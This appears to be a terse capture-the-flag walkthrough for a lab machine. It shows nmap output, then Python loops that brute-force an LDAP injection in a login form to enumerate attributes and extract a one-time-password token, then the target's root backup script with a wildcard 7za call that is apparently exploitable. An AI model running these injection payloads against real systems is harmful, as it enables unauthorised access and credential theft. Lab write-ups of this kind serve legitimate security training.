➜ ~ nmap -sC -sV 10.10.10.122 Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-24 22:57 EST Nmap scan report for 10.10.10.122 Host is up (0.050s latency). Not shown: 971 filtered ports, 27 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA) | 256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA) |_ 256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16) | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 |_http-title: CTF
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 58.89 seconds
Attribute found cn Attribute found commonName Attribute found mail Attribute found name Attribute found objectClass Attribute found pager Attribute found sn Attribute found surname Attribute found uid Attribute found userPassword
for i in attrs: payload = 'ldapuser)({}=*'.format(i.strip()) payload = quote(payload) data = { 'inputUsername' : payload, 'inputOTP' : 'htb' } res = post( url, data = data ) if'Cannot login'in res.content: print"Attribute found " + i
while k > 0 : for i in chars: payload = 'ldapuser)(pager={}*'.format(''.join(token) + i) payload = quote(payload) data = { 'inputUsername' : payload, 'inputOTP' : 'htb' } sleep(1) res = post( url, data = data ) if'Cannot login'in res.content: token.append(i) k = k - 1 print"Token: " + ''.join(token) break
# get banned ips from fail2ban jails and update banned.txt # banned ips directily via firewalld permanet rules are **not** included in the list (they get kicked for only 10 seconds) /usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt # awk '$1=$1' ORS='<br>' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt
# some vars in order to be sure that backups are protected now=$(date +"%s") filename="backup.$now" pass=$(openssl passwd -1 -salt 0xEA31 -in /root/root.txt | md5sum | awk '{print $1}')
# keep only last 10 backups cd /backup ls -1t *.zip | tail -n +11 | xargs rm -f
# get the files from the honeypot and backup 'em all cd /var/www/html/uploads 7za a /backup/$filename.zip -t7z -snl -p$pass -- *
# cleaup the honeypot rm -rf -- *
# comment the next line to get errors for debugging truncate -s 0 /backup/error.log